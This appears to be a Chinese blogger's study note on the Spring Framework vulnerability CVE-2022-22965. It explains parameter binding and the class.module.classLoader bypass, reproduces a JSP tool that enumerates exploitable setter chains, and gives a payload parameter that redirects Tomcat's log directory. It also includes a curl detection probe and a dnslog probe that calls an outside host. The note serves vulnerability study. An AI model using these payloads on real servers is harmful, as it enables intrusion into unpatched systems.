1. 程式人生 > 其它 >CVE-2022-22965 學習筆記

CVE-2022-22965 學習筆記

參考:

http://rui0.cn/archives/1158

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965

https://xz.aliyun.com/t/11129

 

什麼是javaBean,我的理解是MVC開發模式中處於Moudel層的類可以稱為一個javabean,就像下面這樣的,他們的屬性都是private但是可以通過getter和setter方法進行獲取和修改

public class Person {
    private String name;
    private Integer age;
    public Person() {
    }
    
public String getName() { return this.name; } public void setName(String name) { this.name = name; } public Integer getAge() { return this.age; } public void setAge(Integer age) { this.age = age; } }

 

下面說明什麼是spring的“引數繫結”,“引數繫結”簡單理解就是,傳入的引數怎麼給到controller層去自動處理不需要做出多餘的操作,舉個例子:

外部傳入引數:hello/?name=timerzz&age=233,後端接收到了這個資料怎麼處理?

 

不使用引數繫結是這樣的(虛擬碼)

name = req.getParamter("name");
age = req.getParamter("age");

 

如果傳了100個引數,那就要寫100行類似的程式碼來接受!這顯然不科學,但有了引數繫結後,後端的接收程式碼就變成了這樣,這時候傳入的name=timerzz&age=233,會“自己”呼叫Person的setter方法完成相關屬性的賦值

@GetMapping({"/hello"})
public String index(Person person) {
    System.out.println(person);
    System.out.println(
"name: " + person.getName()); System.out.println("age: " + person.getAge()); return "hello"; }

 

下面是引數繫結的過程(跟一遍就知道了)這裡給一個呼叫棧,測試環境:https://github.com/vulhub/vulhub/tree/master/base/spring/spring-webmv

 

上面為了流程簡化,傳入的是一個單獨的屬性,少了幾個棧幀,這和我們熟知的payload長得不太一樣,但是這樣更方便理解

 

下面開始正題,傳入class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT為啥可以?

 

根據上面說的,我們傳入的key=value鍵值對,呼叫的是setter方法,但是我們明明沒有class.module.classLoader.resources.context.parent.pipeline.first.directory這個屬性啊,我們只有name和age

 

這裡有兩個知識點:

  • java類自帶一個class屬性,他們都有getClass()方法,返回的的就是一個Class物件,
  • springmvc巢狀屬性的引數繫結,大致過程描述一下:person.name=timerzz,這樣的單一引數繫結呼叫的是person.setName(),像person.parent.name這樣的,屬性裡套屬性的稱為巢狀屬性,person.parent.name=xxx為的是給name賦值,呼叫的就是person.getParent().setName(),簡單理解就是為name賦值,但是前面有一個很長的字首,這些字首裡的屬性用getter獲取就好了。

巢狀屬性是通過如下遞迴呼叫獲得的org/springframework/beans/AbstractNestablePropertyAccessor.java#getPropertyAccessorForPropertyPath感興趣可以跟一下,就像上面說的,反正最後都是給name賦值,管他字首多長(當然這個前提是這個屬性得存在)

 

有了上面兩點,回頭看看payload,我們可以傳入一個class(pojo物件有這個屬性)然後呼叫他的getClassLoader獲得一個classLoader,向上轉型獲得父載入器的ClassLoader(tomcat相關的配置屬性存放的classLoader org.apache.catalina.loader.ParallelWebappClassLoader),從而改變一些全域性的屬性,比如上面的class.module.classLoader.resources.context.parent.pipeline.first.directory

 

最後就是jdk版本的問題,因為jdk9以前過濾了class.classloader,而jdk9以後加入了一個module屬性它可以呼叫getClassLoder,從而繞過了當初的過濾程式碼,如下:

 

tomcat還有其他很多巢狀屬性,獲取巢狀屬性的方式:

https://github.com/julianvilas/rooted2k15/blob/a00055f906502dd038b908a84907b74b38e26b20/struts-tester/struts-tester.jsp

<!--

This PoC gives a list of payloads that can be used to modify data in the
context of a Struts web application that is vulnerable to CVE-2014-0094 or
CVE-2014-0114. The results depend on the container that executes the
application. Is a customized version for the PoC posted by "neobyte" at
http://sec.baidu.com/index.php?research/detail/id/18

Instructions:
1.- Modify the imports to match the actions of your Struts application
2.- In main modify the initarget to match an Action / ActionForm of
your Struts app
3.- Add the JSP to your Struts app
4.- Deploy your app in an application server
5.- Access the JSP with a browser
5.1.- Add "debug=true" to the parameters for getting debug info
5.2.- Add "cmd=[all|allp|meth]" to run one of the alternative commands,
useful when looking for RCE
5.3.- Add "poc=" + with a chain of previously called getters to reach
current object

-->

<!-- Struts 2.x example -->
<!-- Import the class of the initarget Action -->
<%@ page language="java" import=
        "java.lang.reflect.*, com.timerzz.controller.*" %>
<%@ page import="com.timerzz.model.Person" %>

<!-- Struts 1.x example -->
<!-- Import the class of the initarget ActionForm -->
<%--@ page language="java" import=
    "java.lang.reflect.*, com.vaannila.*" --%>

<%!
    /* Find all the "set" methods that accept exactly one parameter (String,
     ** boolean or int) in the given Object, or in Objects that can be reached via
     ** "get" methods (without parameters) in a recursive way
     **
     ** Params:
     ** - Object instance : Object to process
     ** - javax.servlet.jsp.JspWriter out : Where the results will be printed
     ** - java.util.HashSet set : Set of previously processed Objects
     ** - String poc : Chain of previously called getters to reach current object
     ** - int level : Current level of recursion
     ** - boolean debug: print extra debug information for candidates
     */
    public void processClass(
            Object instance,
            javax.servlet.jsp.JspWriter out,
            java.util.HashSet set,
            String poc,
            int level,
            boolean debug) {

        try {

            if (++level > 15) {
                return;
            }

            Class<?> c = instance.getClass();
            set.add(instance);
            Method[] allMethods = c.getMethods();

            /* Print all set methods that match the desired properties:
             ** - exactly 1 parameter (String, boolean or int)
             ** - public modifier
             */
            for (Method m : allMethods) {
                if (!m.getName().startsWith("set")) {
                    continue;
                }

                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }

                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=1) continue;

                if(pType[0].getName().equals("java.lang.String")
                        || pType[0].getName().equals("boolean")
                        || pType[0].getName().equals("int")) {

                    String fieldName = m.getName().substring(3,4).toLowerCase()
                            + m.getName().substring(4);

                    /* Print the chain of getters plus the candidate setter in a
                     ** format that can be directly used as a PoC for the Struts
                     ** vulnerability. Also print the fqdn class name of the
                     ** current Object if debug mode is 'on'.
                     */
                    if (debug) {
                        out.print("-------------------------" + c.getName() + "<br>");
                        out.print("Candidate: " + poc + "." + fieldName + "<br>");
                    }
                    else {
                        out.print(poc + "." + fieldName + "<br>");
                    }
                    out.flush();
                }
            }

            /* Call recursively the current function against (not yet processed)
             ** Objects that can be reached using public get methods of the current
             ** Object (without parameters)
             */
            for (Method m : allMethods) {
                if (!m.getName().startsWith("get")) {
                    continue;
                }

                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }

                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=0) continue;
                if(m.getReturnType() == Void.TYPE) continue;

                /* In case of problems with reflection use
                 ** m.setAccessible(true);
                 */
                Object o = m.invoke(instance);
                if(o!=null)
                {
                    if(set.contains(o)) continue;

                    processClass(o,out, set, poc + "."
                            + m.getName().substring(3,4).toLowerCase()
                            + m.getName().substring(4), level, debug);
                }
            }
        } catch (java.io.IOException x) {
            x.printStackTrace();
        } catch (java.lang.IllegalAccessException x) {
            x.printStackTrace();
        } catch (java.lang.reflect.InvocationTargetException x) {
            x.printStackTrace();
        }
    }

    /*
     ** Print all the method names of a given Object
     */
    public void printAllMethodsNames(
            Object instance,
            javax.servlet.jsp.JspWriter out) throws Exception {

        Method[] allMethods = instance.getClass().getMethods();
        for (Method m : allMethods) {
            out.print(m.getName() + "<br>");
        }
    }

    /* Print all the method names of a given Object and the number of parameters
     ** that it has
     */
    public void printAllMethodsWithNumParams(
            Object instance,
            javax.servlet.jsp.JspWriter out) throws Exception {

        Method[] allMethods = instance.getClass().getMethods();
        for (Method m : allMethods) {
            Class<?>[] pType = m.getParameterTypes();

            out.print("Method: " + m.getName() + " with " + pType.length
                    + " parameters<br>");
        }
    }

    /* Print the "set" methods that accept exactly one parameter (String,
     ** boolean or int) and the "get" methods (without parameters) in the given
     ** Object
     */
    public void printMethods(
            Object instance,
            javax.servlet.jsp.JspWriter out) throws Exception {

        Method[] allMethods = instance.getClass().getMethods();
        for (Method m : allMethods) {

            Class<?>[] pType = m.getParameterTypes();

            if(m.getName().startsWith("get")
                    && m.toGenericString().startsWith("public")) {

                Class<?> returnType = m.getReturnType();

                if(pType.length == 0) {

                    out.print("GET method: " + m.getName() + " of class"
                            + instance.getClass().getName() + " returns "
                            + returnType.getName() + "<br>");
                }
            }
            if(m.getName().startsWith("set")
                    && m.toGenericString().startsWith("public")) {

                if((pType.length == 1) && (pType[0].getName().equals("java.lang.String")
                        || pType[0].getName().equals("boolean")
                        || pType[0].getName().equals("int"))) {

                    out.print("SET method: " + m.getName() + " of class"
                            + instance.getClass().getName() + " with param "
                            + pType[0].getName() + "<br>");
                }
            }
        }
    }

    /* Return the Object that results of resolving the chain of getters described
     ** by the "poc" parameter
     */
    public Object applyGetChain(
            Object initarget,
            String poc) throws Exception {

        if(poc.equals("")) {
            return initarget;
        }

        String[] parts = poc.split("\\.");

        String method = "get" + parts[0].substring(0,1).toUpperCase();

        if(parts[0].length() > 1) {
            method += parts[0].substring(1);
        }

        Class<?> c = initarget.getClass();
        Method m = c.getMethod(method, null);

        /* In case of problems with reflection use
         ** m.setAccessible(true);
         */
        Object o = m.invoke(initarget);

        if(parts.length == 1) {
            return o;
        }

        String newPoc = parts[1];

        for(int i=2; i<parts.length; i++) {
            newPoc.concat("." + parts[i]);
        }

        return applyGetChain(o, newPoc);
    }

%>

<%
    /*
     ** MAIN METHOD
     */
    java.util.HashSet set = new java.util.HashSet<Object>();
    String pocParam = request.getParameter("poc");
    String poc = (pocParam != null) ? pocParam : "";
// Struts 2.x Action
    Person initarget = new Person();    // **********修改為pojo物件*********
// Struts 1.x ActionForm
//LoginForm initarget = new LoginForm();
// Get the target Object as described by poc
    Object target = applyGetChain(initarget, poc);
// Check for debug mode
    String mode = request.getParameter("debug");
    boolean debug = false;
    if((mode != null) && (mode.equalsIgnoreCase("true"))) {
        debug = true;
    }
// Switch the command to be executed
    String cmd = request.getParameter("cmd");
    if(cmd != null) {
        if(cmd.equalsIgnoreCase("all")) {
            printAllMethodsNames(target, out);
        } else if(cmd.equalsIgnoreCase("allp")) {
            printAllMethodsWithNumParams(target, out);
        } else if(cmd.equalsIgnoreCase("meth")) {
            printMethods(target, out);
        } else {
            processClass(target, out, set, poc, 0, debug);
        }
    } else {
        processClass(target, out, set, poc, 0, debug);
    }
%>

網傳還有其他利用方式,比如:

無損檢測:

curl host:port/path?class.module.classLoader.URLs%5B0%5D=0    # 返回400漏洞存在

探測dnslog(會影響業務,不推薦)

class.module.classLoader.resources.context.configFile=http://xxx x.dnslog.cn/t&class.module.classLoader.resources.context.configF ile.content.aaa=xxx

 

最後spring官方也說了,目前還不清楚其他的伺服器是否存在類似的漏洞……有待挖掘,現在還有個問題是payload特徵很明顯!